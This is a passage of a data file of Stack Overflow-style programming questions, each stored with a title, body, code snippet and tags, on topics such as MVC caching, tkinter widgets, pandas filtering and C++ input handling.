download a large .zip file from an external site. The file is zipped (.zip) and is
8.8M large. It contains a .txt tab-delimited dataset that is 67M large. I will
need to download the file, unzip it, and import it into MySQL on a daily basis.\nIs
it better do do this using PHP and a cron job or something else? Why?\n", "", "php
cron file-download unzip"], "5605690": ["How to implement a caching model without
violating MVC pattern?", "I have an ASP.NET MVC 3 (Razor) Web Application, with a
particular page which is highly database intensive, and user experience is of the
upmost priority.\nThus, i am introducing caching on this particular page.\nI'm
trying to figure out a way to implement this caching pattern whilst keeping my
controller thin, like it currently is without caching:\n\nAs you can see, the
controller is very thin, as it should be. It doesn't care about how/where it is
getting it's info from - that is the job of the service.\nA couple of notes on the
flow of control:\n\nControllers get DI'ed a particular Service, depending on it's
area. In this example, this controller get's a LocationService\nServices call
through to an Repository and materialize results into or .\n\nHow i want to
implement caching:\n\nI can't use Output Caching - for a few reasons. First of all,
this action method is invoked from the client-side (jQuery/AJAX), via , which
according to HTTP standards should not be cached as a request. Secondly, i don't
want to cache purely based on the HTTP request arguments - the cache logic is a lot
more complicated than that - there is actually two-level caching going on.\nAs i
hint to above, i need to use regular data-caching, e.g .\nI don't want to implement
a generic caching mechanism where all calls via the service go through the cache
first - i only want caching on this particular action method.\n\nFirst thought's
would tell me to create another service (which inherits LocationService), and
provide the caching workflow there (check cache first, if not there call db, add to
cache, return result).\nThat has two problems:\n\nThe services are basic Class
Libraries - no references to anything extra. I would need to add a reference to
here.\nI would have to access the HTTP Context outside of the web application,
which is considered bad practice, not only for testability, but in general -
right?\n\nI also thought about using the folder in the Web Application (which i
currently use only for ViewModels), but having a cache service in a models folder
just doesn't sound right.\nSo - any ideas? Is there a MVC-specific thing (like
Action Filter's, for example) i can use here? \nGeneral advice/tips would be
greatly appreciated.\n", "public PartialViewResult
GetLocationStuff(SearchPreferences searchPreferences)\n{\n var results =
_locationService.FindStuffByCriteria(searchPreferences);\n return
PartialView(\"SearchResults\", results);\n}\n", "c# asp.net-mvc caching
architecture asp.net-mvc-3"], "4776932": ["Using ANTLR for static analysis of Java
source file", "Does anyone have a complete implementation (possibly github or
googlecode) for using an ANTLR grammar file and Java source code to analyze Java
source. For example, I want to simply be able to count the number of variables,
method, etc.\nAlso using a recent version of ANTLR.\n", "", "java antlr"],
"688185": ["Adding and finding classes that is dynamically added to body - jquery",
"Is there any way to add classes or alter objects that is dynamically added to the
body?\nI am adding a range of objects to the body by javascript. \nFot instance Im
adding some links that is dynamically generated and added to the body. When they
are loaded I need to elect the first of the divs and add a new class to it. \nI
can't seem to find any way to do this... Update the DOM or how should I go around
this? There must be a way to alter dynamically added objects.\nAny clues? \nThanks
for any help! \n", "", "javascript jquery html css dynamic"], "1419455": ["How to
get a query string for a url using httpUrlConnection , android", "I am using
HttpUrlConnection to post a query to a webpage. The web page take my request and
does another posting. For example: www.unknown.com\n\nThe code is working without
problem and I am getting the html code. The problem is that the webpage is
proceeding another HTTP \"POST\" method when it is taking my request. For example
after my request the URI is: http://www.unknown.com?var1=5&var2=0&var3=6&var4=1500\
nI need to get the value of \"var4\" in my code and I can not find any solution for
this. HttpUrlConnection.getUrl() returns just the address http://www.unknown.com!
Have anybody a suggestion? Thanks.\n", "URL url = new
URL(\"http://www.unknown.com\"); //$NON-NLS-1$\nurlConnection = (HttpURLConnection)
url.openConnection();\nurlConnection.setReadTimeout(15*1000);\
nurlConnection.setDoInput(true);\nurlConnection.setDoOutput (true);\
nurlConnection.setUseCaches (false);\nurlConnection.setAllowUserInteraction(true);\
nout = new OutputStreamWriter(urlConnection.getOutputStream());\nstring content
= \"var1=5&var2=0&var3=6\"; //$NON-NLS-1$\nout.write(content);\nout.flush();\
nout.close();\n", "java android http-post httpurlconnection"], "3928528": ["Mark
down editor for objective-c", "I need to implement a markdown editor in objective-
c, that various buttons can be pressed after selecting text and then the markdown
is applied to the selection.\nSo far I have easily gotten bold and italics, and
more complicatedly, numbered lists, quote segments, code segments. I am guessing
this will involve using regular expressions, so far I've avoided this but the code
is quite ugly.\nSo are there any existing markdown libraries for objective-c\n",
"", "objective-c markdown"], "4752946": ["Python tkinter disable the button until
all the fields are filled", "Let's say I have 2 entry widgets, 1 option menu(drop
down list) and 1 button in tkinter. How can i set the button widget state to
DISABLED until all 3 widgets are filled by the user?This is what i have currently:\
n\n--EDIT--\nTried this way, but i don't think this is the correct way to do it.\n\
n", "import Tkinter as tk\n\nroot = tk.Tk()\n\
nentry1=tk.Entry(root,width=15).grid(row=1,column=1)\
nentry2=tk.Entry(root,width=15).grid(row=1,column=2)\n\nchoices=('a','b','c')\
nvar=tk.StringVar(root)\noption=tk.OptionMenu(root,var,*choices)\
noption.grid(row=1,column=3)\n\nbutton=tk.Button(root,text=\"submit\")\
nbutton.grid(row=1,column=4)\n\nroot.mainloop()\n", "python widget tkinter state"],
"2221735": ["Proper language to use in form field labels", "I wish to use the
following sentence as the comment on a form field. I have already come up with a
short-form label for the field. This text is meant to explain the field in a bit
more detail:\nThe country [where] you come from.\nThe question is: is
this \"where\" needed there, can be used there (optional) or cannot be used there
(error).\nAs English is not my mother language, sometimes these things come up.
Please don't be hard on me.\nEDIT: I'm somewhat overwhelmed by the answers and
appearing complexity of the issue. Yes, I have an input field and I wish to write a
label to it. We all know the basic phrases like \"I come from Australia\" - \"Where
do you come from?\". Cannot it be turned around in the form like \"The country you
come from\"? \nAnd if the following would be correct: \"The country I live in\"?
Or I may only put the preposition to the end if it's not an independent clause but
a subordinate one (terms may not be correct, forgot them): I've returned to the
country I live in.\n", "", "forms naming-conventions fields linguistics"],
"2460678": ["Create default behavior for when appendchild is called on an object",
"I'm working on creating wrapper classes for some HTML elements and I'd like to
know if there is a way to specify default behavior for my class when .appendChild
is called on it.\n\nThat works well enough. But I'm trying to abstract my code
enough to get to this:\n\nwhere foo.input is automatically returned when
appendChild is called on foo.\nNow, I realize that I can modify my wrapper class to
return the input element in it's constructing function, but when I do that, I lose
the ability to call any of the class methods:\n\nSo is there any way to override
the default behavior of the object and return foo.input when .appendChild is called
on foo? \n", "// Very simple textbox wrapper class\nfunction MyWrapperClass(){\n
this.input = document.createElement('input'); // textbox\n}\
nMyWrapperClass.prototype.setValue = function(v){\n this.input.value = v;\n}\n\
n// Add instance of my wrapper class to DOM\nvar foo = new MyWrapperClass();\
ndocument.body.appendChild( foo.input ); // Works fine.\n", "javascript dom
unobtrusive-javascript"], "2425467": ["ErrorLoadingRVMRC - rvmrc file is not
trusted when running passenger for Rails application", "I've been hacking at this
thing for hours now and suddenly its 4am and I am no further.\nIt is a rails 3
application.\nI have cap deploy working, I have a gemset, the site is deployed,
bundle has installed the gems I need into the gemset. I have installed passenger.
I am running on a multiuser
RVM.\nI have done but it is giving me this error about not being trusted:\n\nI
tried:\n\nSetting rvm_trust_rvmrcs_flag to 1 in .rvmrc\nRunning the specified
command\nUpgrading rvm to head\nUpgrading rvm to latest\nAdded the
setup_load_paths.rb file\nGenerated .rvmrc with \n\nI am at wits end now. I've
pasted my config files/output here and would be elated if someone found a typo :)\
nIt shouldn't be this hard should it? What am I missing?\nI thought it was related
to this but the issue is closed now.\n", "passenger start", "ruby-on-rails ruby rvm
passenger"], "5355151": ["How to recognize vertical swipe in iPad/iPhone", "I have
a custom view and when the user *SWIPES ON IT VERTICALLY * (up or down), i want to
present another view on it. I'v gone through UISwipeGestureRecognizer and found
that it recognizes only left or right swipe. Is there any way where in i can
recognize Vertical swipe and initiate a action based on it.... \n", "", "iphone
ipad uigesturerecognizer swipe"], "1776867": ["Lower Bound of Central Binomial
Coefficients", "I would like to prove by induction the following inequality:\n$\\
frac{4^n}{n+1} < \\binom{2n}{n}$, for all natural numbers n > 1.\nAny hints?\n",
"", "inequality binomial-coefficients induction"], "2732416": ["mysql_query():
supplied argument is not a valid MySQL-Link resource", "I have been trying to
insert a sample piece of data from my form, but I always get a syntax error
executing $result. \nThe relevant part from index.php:\n\nand parts from form.php:\
n\nI don't know what I'm doing wrong.\n", "<form method=\"post\"
action=\"form.php\">\n<ul >\n <li>\n <label
for=\"accession_number\">Accession Number</label>\n <input
id=\"accession_number\" name=\"accession_number\" type=\"text\" maxlength=\"6\"
value=\"\"/> \n </li>\n</ul>\n</form>\n", "php mysql forms"], "1941869":
["Returning to development: what tools, languages, frameworks, techniques to
learn?", "I started my professional career in software development 31 years ago
(yikes). Over the years, my working life has moved to different areas (project and
program management, consultancy, solution architecture and so on). I've never
totally given up programming, but it's been minor bits of assistance for others
rather than anything hardcore.\nIf I wanted to return to serious development, what
should I be studying and doing? What tools are in the essential toolkit for a
modern developer? (for instance, I'm only barely competent in Eclipse, and know
nothing much about recent source code management or build tools). What languages
would repay study? (I've been looking at Scala, which is interesting). I'm not
really familiar with things like Hibernate, Struts or Spring.\nAnother way of
putting it might be what should be on the syllabus of my hypthetical self-taught
modern software development course? \nInitially, I probably would put some time
into assisting with some open source projects, so things that would make me more
useful for that preferred.\n(Given I've been knocking around the industry for many
years, I do have knowledge of a lot of technology independent software engineering
topics, so you can assume I'm OK on algorithms etc, and I have pretty good
knowledge of C, Perl, server-side Javascript, and reasonable knowledge of XML,
Lisp. I know my way around Unix)\n", "", "software-engineering"], "2431409":
["UItabBar changing View Controllers", "i have some difficulties changing tab bar
controllers. Basically I have UITabBarController with 3 controllers. First time
when app starts. I change one controller like this:\n\nThen in FirstPage controller
i do some change and press OK. Now i need to change controllers again, doing this:\
n\n_tabBarControllers is array of controllers which i saved when app started.\nThis
code change controllers, but when i want to open changed controller with
setSelectedIndex it don't work. \nAny ideas ?\nAnd print this:\nBefore change Tab
Bar cotrollers = NULL\nAfter change Tab Bar cotrollers = NULL\n", "NSMutableArray
*muteArray = [[NSMutableArray alloc] init];\nFirstPage *online;\n\nif
(UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPad)\n{\n\n online
=[[FirstPage alloc] initWithNibName:nil bundle:nil];\n\n\n}else{\n\n online
=[[FirstPage alloc] initWithNibName:nil bundle:nil];\n}\n\n//adding all controllers
of tab bar to array\n[muteArray
addObjectsFromArray:_navigationCotroller.viewControllers];\
nonline.tabBarControllers = [muteArray copy];\n//replacing object of login
controller to after login controller\n[muteArray replaceObjectAtIndex:1
withObject:online];\n\n\n[online release];\n\n//setting new controllers to tab bar\
n[_navigationCotroller setViewControllers:muteArray animated:YES];\n\n[muteArray
release];\n", "iphone objective-c ios uitabbarcontroller uitabbar"], "2425461":
["Call a ruby array in external javascript from Haml", "I'm new to RoR and web app
development, Im using Rails 3.2.3 and I want to use a ruby array in Highcharts and
I'm using Haml in my view files.\nI have an array defined in the controller like
so:\n\nand I've declared it in my Haml view file. \n\nNow I want to use this array,
, in a Highcharts chart which I've written the code for in a separate file called
build_chart.js:\n\nThe highcharts chart is being rendered with no data. By the way,
I dont know ruby or haml or js very well as you can probably tell...\n", "...\ndef
show\n ...\n @close_array = DailyQuote.where(company_id:
@company.id).map(&:closing_price)\nend\n", "javascript ruby-on-rails arrays haml"],
"5024545": ["Axis webservice returning byte array", "I wrote a java web service
that returns byte array generated from a file.\n\nIn my client I try to read that
byte array as \n\nwhere is the axis client stub. It is saying \nso I understood
that the byte is returned in the form of object.\nBut I want that to be converted
into a byte array.\nCan you please tell me how to do that.\n", "public byte[]
callByte(){\n // code that return byte array\n}\n", "web-services axis2"],
"5113062": ["Is there a way to extract/export images from Publisher files without
having Publisher?", "A client gave me a Publisher file with images in it that I'm
supposed to extract out of the file and use for another project. I use OpenOffice
and it does not appear to support .pub files.\nAny suggestions?\n", "", "export
extract unzip microsoft-publisher"], "5269182": ["Importing a class without
exporting it", "I am using MEF. My application is open ended but I still want to
hide it from people who are extending it.\ne.g. BaseAssembly has\n\nOther
assemblies will refer to base assembly.\nReferenceAssembly will have\n\nI want to
avoid this attribute which is on derived class in referenced assembly.\nIs it
possible?\n", "public class ListContainer\n{\n [ImportMany(typeof(IBase))]\n
public List<IBase> MyObjects { get; set; }\n\n public void
AssembleDriverComponents()\n {\n .... Some code to create catalogue..\n
//Crete the composition container\n var container = new
CompositionContainer(aggregateCatalog);\n\n // Composable parts are
created here i.e. the Import and Export components assembles here\n
container.ComposeParts(this);\n }\n}\n", ".net dependencies mef composition"],
"2732419": ["Encountered error in BCP. Client unable to establish connection due to
prelogin failure", "We're into SQL Server 2008R2.\nI received the following erorr :
\n\nUsing the following script : \n\nThanks and appreciate any help\nElmer\n",
"SQLState = 08001, NativeError = 0\nError = [Microsoft][SQL Server Native Client
10.0]Client unable to establish connection due to prelogin failure. \n", "sql-
server"], "5918179": ["how can i show 2 intro views when the app is launching?", "I
know if there is a file named Default.png it shows the image automatically.\nbut, I
want to change the image during it showes.\nFYI, I have 2 images Default.png and
default2.png.\nI want to display default2.png after show Default.png.\nI tried
followed codes, but it didn't work.\nWhat do I have to do?\n\n", "-(BOOL)
application:(UIApplication *)application didFinishLaunchingWithOptions:
(NSDictionary *)launchOptions{\n\
n//..................................................................\n//
self.window bullabulla~\n\n[self
performSelectorOnMainThread:@selector(showIntro2View) withObject:nil
waitUntilDone:YES];\n//[self showIntro2View]; //also tried this, but not work.\n\
n[self.window addsubview:tabbarController];\n[self.window makeKeyAndVisible];\n}\n-
(void) showIntro2View {\nUIImageView *intro2 = [[UIImageView
alloc]initwithframe:cgrectmake(0,0,320,460)];\nintro2.image = [UIImage
imagenamed:@\"default2.png\"];\n[self.window addSubview:intro2];\n[self.window
bringSubviewToFront:intro2];\n[NSThread sleepfortimeinterval:2];\n}\n", "iphone
xcode image intro"], "4485207": ["VPN chaining software", "I know that it's
possible to implement VPN chains using Virtual Machines, but I'm wondering if
there's a software capable of chaining multiple VPN's in the same Windows box? So
the traffic route looks like:\nPC ---> VPN1 ----> VPN2 ----> VPNn ----> TARGET\
nThanks,\nJack\n", "", "vpn chaining openvpn chain"], "5207271": ["ISZ (compressed
ISO format) viewer for Mac OS X", "Is there any utility available that mount or
view ISZ files (the compressed ISO format used by Ultra ISO) in Mac OS X?\n", "",
"file filesystems osx-leopard format"], "5078749": ["AutoStart/Pre-warm features
not working in IIS 7.5 / WCF service", "For testing the many headaches of IIS/WCF
implementation from scratch, I built the HelloWorld service and client walked
through (very nicely) here. I added endpoints for net.tcp, and the service is
working properly end-to-end for both bindings under (on Windows 7) in its own
called HW.\nWhat I'm trying to get working is the announced AutoStart and Preload
(or \"pre-warm caching\") features. I've
followed the instructions laid out here and here (quite similar to one another,
but always good to have a second opinion) very closely. Which means I\n1) Set the
application pool ...\n\n2) ...enabled and set a pointer to my \n\n3) ...and named
said provider, with the of the class listed in its entirety below\n\n\n\nAlas, all
this manual configuration, plus a couple calls, and I get nothing. No process
firing up in Task Manager (though I get it if I launch the HelloWorldClient), no
text file, and above all, no satisfaction.\nThere is a frustratingly scant amount
of discussion about this feature, either on SO or the wider web, and the few
similar questions here got little attention, all of which rings an alarm bell or
two. Perhaps needlessly though--any experts out there who have been down this very
road a time or two care to chime in? (Happy to offer up the entire solution if you
can suggest a good place to host it.)\n\nEDIT: I tried resetting that path in the
method to the relative folder (another SO answer suggested that), didn't matter.
Also, I learned the process fires on a simple browse to the localhost. The process
consumes an impressive 17MB of memory to serve up its single tiny
OperationContract, while for the price offering zero Preload value. 17MB of
ColdDeadCache.\n", "IIS 7.5", "wcf configuration iis-7.5 application-pool
autostart"], "2457620": ["How to provide ASP.NET MVC2 master pages with a model
indepdent of the controller", "I'm using strongly typed views and autofac for
Dependency Injection under ASP.NET MVC2 and I'm trying to get a common dynamic
header via dependency injection. I.e. i want this to happen without the view having
to be away of this content even existing and i was hoping to avoid static discovery
of the container and manual resolution, but I can't find a way to easily inject the
master or a partial view included in the master via either ctor or property
injection.\nI can't imagine this is an uncommon task, but all I can find in terms
of methods is Controller subclassing to stuff data into untyped ViewData,
subclassing ViewModels to stuff master data into the model, or static resolution,
all of which I'd prefer not to use. What am I overlooking?\nEDIT: As has been
pointed out DI into master pages is fighting the framework. So my question is badly
framed: I don't really care about DI into master pages, but I have a dynamic
element in the chrome of the site, i.e. the master page. Providing it with a model
shouldn't be the responsibility of each controller using that master, as it is
request context, not controller context specific. I fully admit that injection
directly into master pages is inappropriate. If i could register a separate master
controller to be invoked in addition, that would be even better. Is that possible?
Given this task of providing the master with a model independent of the controller,
what is the framework appropriate approach? Or does shared content in MVC require
that each Controller has to know about that content?\n", "", "asp.net-mvc-2
dependency-injection master-pages ioc-container"], "1776908": ["iphone API's for
tea time application", "i want to know what API's in iPhone that we used to:\n\
nAchieve an action by pressing a button\nShow normal input fields\nGive access to a
persistent storage\nRealize a count-down timer\n\n", "", "iphone iphone-sdk-3.0"],
"2741086": ["How can I have the cart sidebar only show up when it's in checkout?",
"I have modified the layout for checkout so the one-page checkout has a right-hand
column and has the sidebar cart in it:\n\nI would like the sidebar to appear in the
checkout even if it's disabled in other pages via the admin. Basically I just need
a boolean value to insert in my overridden sidebar.phtml:\n\nWhat's the best way to
set the value of $_someBooleanValue to when the block is within the checkout
process, and otherwise?\n", "<checkout_onepage_index translate=\"label\">\n
<label>One Page Checkout</label>\n <!-- Mage_Checkout -->\n <remove
name=\"left\"/>\n<update handle=\"page_two_columns_right\" />\n <reference
name=\"right\">\n <block type=\"checkout/cart_sidebar\"
name=\"checkout_cart_sidebar\" template=\"checkout/cart/sidebar.phtml\"/>\n
</reference>\n <reference name=\"root\">\u2026snip\n", "magento"], "2431408":
["Filtering on dates with grep and awk", "I have created the alias below in my
file\n\nThis is supposed to:\n\ncheck todays date\ngrep for todays messages\ngrep
todays messages for warning messages matching particular strings\n\nHowever, it
only works when there's a 2-digit day because days numbered <10 do not have a
preceding zero.\nFor example, I run and pipe the result to . outputs and then
awk captures and and feeds them into grep as follows\n\nHowever, when there's a
single digit day, messages in appear as follows \n\nSo there are two spaces
following in the but only one space following in my grep command\nHow can I
modify the command to allow for the additional space?\n", ".bash_aliases", "shell-
script grep awk"], "2388396": ["Window.open + href replace and pop into new window
but not using target _blank", "i'm stuck on something where i want the Test 1 and
Test 2 links to pop-open in a new window, not target=_blank into a new window so
the pop-up doesn't open as a tab in firefox, etc. The in the javascript is to
populate the href in the Test 1 and Test 2 links. What am I doing wrong with this
so I can also get the pop open into a new window but not as a target _blank?\n\
nthank you so much!\nevan\n", "\"href\"", "javascript window open href"],
"2159464": ["What is a good pattern for combined caching and reinitialization?", "I
have a situation where I have three requirements:\n\nLazy initialization - don't
create the collection until asked for it\nCaching - keep the collection in memory
on the object\nReinitialization - be able to reinitialize the collection when
desired, instead of simply getting the existing results.\n\nThis is simply an
optimization inside a single class - it is not loading anything from a database and
ideally I'd like just a good method design pattern for this, not a multiple-class
design.\nUsually for lazy initialization I'd have this:\n\nBut now I'm having
trouble deciding on the best way to provide for reinitialization of a fresh
collection and getting that collection. A boolean parameter would work, but
adding a parameter to a getter doesn't seem to feel right (maybe that's the Java in
me talking \u2014 I could be convinced).\n", "Collection getCollection() {\n if
(collection != null) {\n // generate and set collection\n }\n return
collection;\n}\n", "java design-patterns architecture methods lazy-
initialization"], "2979799": ["How to correct a junior, but encourage him to think
for himself?", "I am the lead of a small team where everyone has less than a year
of software development experience. I wouldn't by any means call myself a software
guru, but I have learned a few things in the few years that I've been writing
software.\nWhen we do code reviews I do a fair bit of teaching and correcting
mistakes. I will say things like \"This is overly complex and convoluted, and
here's why,\" or \"What do you think about moving this method into a separate
class?\" I am extra careful to communicate that if they have questions or
dissenting opinions, that's ok and we need to discuss. Every time I correct
someone, I ask \"What do you think?\" or something similar.\nHowever they rarely if
ever disagree or ask why. And lately I've been noticing more blatant signs that
they are blindly agreeing with my statements and not forming opinions of their
own.\nI need a team who can learn to do things right autonomously, not just follow
instructions. How does one correct a junior developer, but still encourage him to
think for himself?\nEdit:\nHere's an example of one of these obvious signs that
they're not forming their own opinions:\n\nMe: I like your idea of creating an
extension method, but I don't like how you passed a large complex lambda as a
parameter. The lambda forces others to know too much about the method's
implementation.\nJunior (after misunderstanding me): Yes, I totally agree. We
should not use extension methods here because they force other developers to know
too much about the implementation.\n\nThere was a misunderstanding, and that has
been dealt with. But there was not even an OUNCE of logic in his statement! He
thought he was regurgitating my logic back to me, thinking it would make sense when
really he had no clue why he was saying it.\n", "", "learning teamwork teaching
team-leader thinking"], "703505": ["mod_passenger options - invalid command", "I
have a Ubuntu server(11.10) and use mod_passenger for Redmine. It works pretty
well, but somehow slow on first run (once in a while).\nI've googled and came up
into this:\nhttp://www.modrails.com/documentation/Users%20guide
%20Apache.html#PassengerMinInstances\nHowever I can't setup any of the specified
options. They just don't work. \nI've tried in:\n\napache2/sites-avalible/redmine\
napache2/mods-avalible/passenger.conf\napache2/httpd.conf\n\nWherever I put a
command like 'PassengerMinInstances 3' and try to reload Apache I get:\n\nOfcourse
the lines and files differ.\nLogs don't hold anything related.\n", "Syntax error on
line 9 of /etc/apache2/sites-enabled/redmine:\nInvalid command
'PassengerMinInstances', perhaps misspelled or defined by a module not included in
the server configuration\nAction 'configtest' failed.\nThe Apache error log may
have more information.\n...fail!\n", "ruby-on-rails apache redmine"], "362612":
["Webservice response namespace does not match WSDL definition", "I'm attempting to
connect to a webservice using JAX-WS which has a WSDL definition that does not
quite match the actual response received from the webservice. Basically, the
WSDL indicates that all elements are part of the \"urn:HPD_IncidentInterface_WS\"
namespace, but the actual response elements are in the \"urn:Port\" namespace.
This causes JAX-WS to throw the following exception:\n\nMy plan to workaround this
issue is to download the WSDL, modify it to match the namespace in the actual
response, and then re-generate the JAX-WS code using wsimport. However, I'm having
difficulty figuring out how to modify the WSDL so that the response namespace is
correct. Based on what I've researched so far, it looks like I need to create a
new WSDL file with a wsdl:definition that contains the urn:Port targetNamespace and
then import it into the original WSDL file, but I'm can't seem to get the syntax
right. Can anyone help me to correct the WSDL to match the actual webservice
response?\nHere is a sample of the response which references the urn:Port
namespace:\n\nExisting WSDL with only urn:HPD_IncidentInterface_WS namespace:\n\n",
"com.sun.xml.internal.ws.streaming.XMLStreamReaderException: unexpected XML tag.
expected: {urn:HPD_IncidentInterface_WS}HelpDesk_QueryList_ServiceResponse but
found: {urn:Port}HelpDesk_QueryList_ServiceResponse\n", "web-services wsdl jax-
ws"], "4121648": ["Assembly creation guidelines", "Is there any rule of the thumb
as to the number of static functions you can have in an assembly?\nHow do you
recognize if a function needs to be static v/s a function that doesn't need to be
static?\n", "", ".net architecture static assemblies frameworks"], "5421418":
["Resizing image in nivoslider as browser window changes", "Is there a way to get
the image inside the nivoslider to resize as browser window resizes?\nMy image does
\"resize\" but only by cutting off the image from right to left, cropping out the
whole right side to fit into the newly sized nivoslider. Would like it to just
scrunch it up all in there.\nWould I just need to have multiple images for each
screen size? or is there a way to do it with percentages. Have tried a bunch of
css changes with percentages but doesn't seem to ever work. \nThanks in advance
and have a wonderful Thanksgiving week!\n\nBob\n\n", "", "resize media-queries
image-resizing nivoslider"], "3997014": ["php substr_replace space with hyphen?",
"i have this\n\nthis works fine when textContent is just one word like \"sunny\".
However if the current weather is e.g. \"partially cloudy\" i get of course two
classes applied (.partially and .cloudy instead of .partially-cloudy.\nHow can I
make sure whenever there are two (or more) words contained in textContent I replace
all spaces with a hyphen?\nThis does not work:\n\nThank you.\n", "echo \"<div
class='weather \" . $cell->textContent .\"'>\";\n", "php replace substr"],
"2368748": ["How best to use MVC in iOS", "I work for a long time with MVC but
isn't assured that correctly I use this pattern in iOS.\nThis is my understanding
and source code which i use for divisions on model view and controller.\
nDescription:\n\nModel (for example - class MyModel)\nModel this is my data. I use
model for defined calculation, data acquisition from the Internet and further I
notify the controller on changes in model for example through the
NSNotificationCenter.\nController (for example - class MyController)\nThe
controller can directly contact the request of its model data, and go directly to
the display in view.\nView (for example - class MyView)\nView - display and
gathering of events from users. View can interaction with controller through
target-action and delegate.\n\nCode:\nclass MyModel:NSObject\n\nclass
MyController:UIVIewController\n\nclass MyView:UIView\n\nI add target to my button -
my_target (my_target - this is my MyController). When user tap in my button -
method is executed in the MyController and ask data from my MyData class.\nI would
like to know where my mistake in using this method in the MVC.\n", " .h ...
(some header code)\n .m\n Initialization method...\n\n // method for get
data from internet\n -(NSData *)my_getDataFromInternet:(NSURL *)url{\n
NSData *data=[NSData dataWithContentsOfURL:url];\n return data; \n }\
n", "ios mvc design-patterns"], "2366233": ["Hosting company recommendation for
remote vs.net desktop development", "Are there any hosting companies that
specialize in hosting a remote development environment?\nI am looking to have
vs.net, sqlserver, subversion (and install my other development tools) so I can
access my environment remotely from anywhere.\n", "", "hosting development-
environment remote-working"], "3151427": ["While loop with try catch fails at bad
cin input", "I can't seem to figure out why this falls into a loop after getting
non-int input. I've tried cin.flush(), which doesn't seem to exist, cin.clear(),
which seems like it should work, even cin.sync() after reading someone else post
about it working, but didn't seem to make much sense. Also tried cin.bad().\nThank
you very much for any help\n\nPlease enter the first number: f\n Sorry, I don't
think that's a number?\nPlease enter the first number: Sorry,\n I don't think
that's a number?\nPlease enter the first number: Sorry,\n I don't think that's a
number?\nPlease enter the first number: Sorry,\n I don't think that's a number?\
nPlease enter the first number: Sorry,\n I don't think that's a number?Sorry,\n
you d on't get any more tries. Press\n any key to continue . . .\n\n\n", "#include
<iostream>\nusing namespace std;\n\nint main(){\n int entry;\n int attempts =
1;\n int result;\n while(attempts <= 5) {\n try {\n cout <<
\"\\n\\nPlease enter the first number: \";\n cin >> entry;\n
if (cin.fail())\n throw \"Sorry, I don't think that's a number?\";\n
if (entry < 0)\n throw \"Sorry, no negative numbers. Try something
else? \";\n cout << \"\\nNow the second number: \";\n cin >>
entry;\n cin.clear();\n cin.get();\n }\n catch
(char* error) {\n cout << error;\n attempts++;\n }\n
}\n if (attempts > 5)\n cout << \"Sorry, you don\\'t get any more
tries.\\n\";\n system(\"pause\");\n return 0;\n}\n", "c++ try-catch iostream
while-loop"], "5055955": ["CSS trick-- nested span tags where the child needs to
below the parent", "I have a tricky CSS situation here. \nBasically I have nested
span tags that looks like this: \n\nI need \"test\" to be below \"A\" with all
three letters (A, B, C) being equal width. \nThe ideal result would look like
this:\n\nWhat I'm getting now is this: \n\nIs this possible? I played with
property, but it didn't work because there could be other text before the letter in
question: \n\nI set up a fiddle here (http://jsfiddle.net/grnbeagle/g3hG8/), and
the goal is to reduce the width of highlighted \"A\". So far I have and /
adjustment. \nAny suggestion is appreciated. \n", "<span>A\n <span>test</span>\
n</span>\n<span>B</span>\n<span>C</span>\n", "css stylesheet"], "3084116": ["ruby
spreadsheet row background color", "I am trying to parse an excel spreadsheet using
\"spreadsheet\". How could I get the background color of each row?\n", "", "ruby
spreadsheet"], "1631324": ["selecting across multiple columns with python pandas?",
"I have a dataframe df in pandas that was built using from a csv file. The
dataframe has several columns and it is indexed by one of the columns (which is
unique, in that each row has a unique value for that column used for indexing.) \
nHow can I select rows of my dataframe based on a \"complex\" filter applied to
multiple columns? I can easily select out the slice of the dataframe where column
is greater than 10 for example:\n\nBut what if I wanted a filter like: select the
slice of where any of the columns are greater than 10? \nOr where the value for
is greater than 10 but the value for is less than 5?\nHow are these implemented in
pandas?\nThanks.\n", "pandas.read_table", "python csv numpy tab-delimited pandas"],
"5298703": ["DHCP range starts with 194.77.30. Could that lead to problems?", "Just
noticed that our Lancom router has a DHCP range of 194.77.30.50 - 150.\nCould that
lead to problems? Because sometimes some devices can\u2019t be reached (with static
IPS above that range like 194.77.30.170) and I have not yet figured it out why.\nI
can\u2019t find a definitive answer on the net if it really MUST be 192.168..\n",
"", "ip dhcp private"], "5215571": ["Automatic newspaper creation in LaTeX", "This
is a very general question about LaTeX, asked by a 100% newbie!\nI'm trying to
figure out if it's feasible to build an automatic newspaper creation engine, and if
LaTeX can help in this field.\nThe goal is to be able to build something like:\
nhttp://issuu.com/fruitcake_worb/docs/web_fruitmix-0211\n... based on a list of
articles, each made up of text, images, and some meta-informations, like
a \"template\" and maybe a few other high-level informations.\nDoes anyone have
experience / examples in this field?\n", "", "positioning automation newspaper"],
"2795241": ["how to use an external javascript file to transform xml by xsl to a
pointed html", "I have a js file like:\n\nAnd i use it in the head of the html file
with \n\nBut it doesn't work, nothing appears in the html. Could anyone tell me
why?\nBTW: Does IE have addParameter method? If so, please give me an example.\n",
"function loadXMLDoc(fname)\n{\n var xmlDoc;\n // code for IE\n if
(window.ActiveXObject)\n {\n xmlDoc=new
ActiveXObject(\"Microsoft.XMLDOM\");\n }\n // code for Mozilla, Firefox, Opera,
etc.\n else if (document.implementation \n &&
document.implementation.createDocument)\n {\n
xmlDoc=document.implementation.createDocument(\"\",\"\",null);\n }\n else\n {\n
alert('Your browser cannot handle this script');\n }\n xmlDoc.async=false;\n
xmlDoc.load(fname);\n return(xmlDoc);\n}\n\nfunction displayResult()\n{\n
xml=loadXMLDoc(\"Nokia2.xml\");\n xsl=loadXMLDoc(\"UICC.xsl\");\n // code for IE\
n if (window.ActiveXObject)\n {\n ex=xml.transformNode(xsl);\n
document.getElementById(\"example\").innerHTML=ex;\n }\n // code for Mozilla,
Firefox, Opera, etc.\n else if (document.implementation \n &&
document.implementation.createDocument)\n {\n xsltProcessor=new
XSLTProcessor();\n xsltProcessor.importStylesheet(xsl);\n resultDocument =
xsltProcessor.transformToFragment(xml,document);\n
document.getElementById(\"example\").appendChild(resultDocument);\n }\n",
"javascript html"], "1833996": ["\"Could not establish trust relationship with
remote server\" error when windows mobile .net device consuming a webservice", "We
have an existing certificate (global sign) that works fine when a windows mobile
application (.net 3.5) tried to consume the web service (also written in .net 3.5)
that is hosted on IIS.\nHowever the when we make the re-issued certificate (global
sign) live, the windows mobile application is failing to connect to the web
service, the error we are getting is \"Could not establish trust relationship with
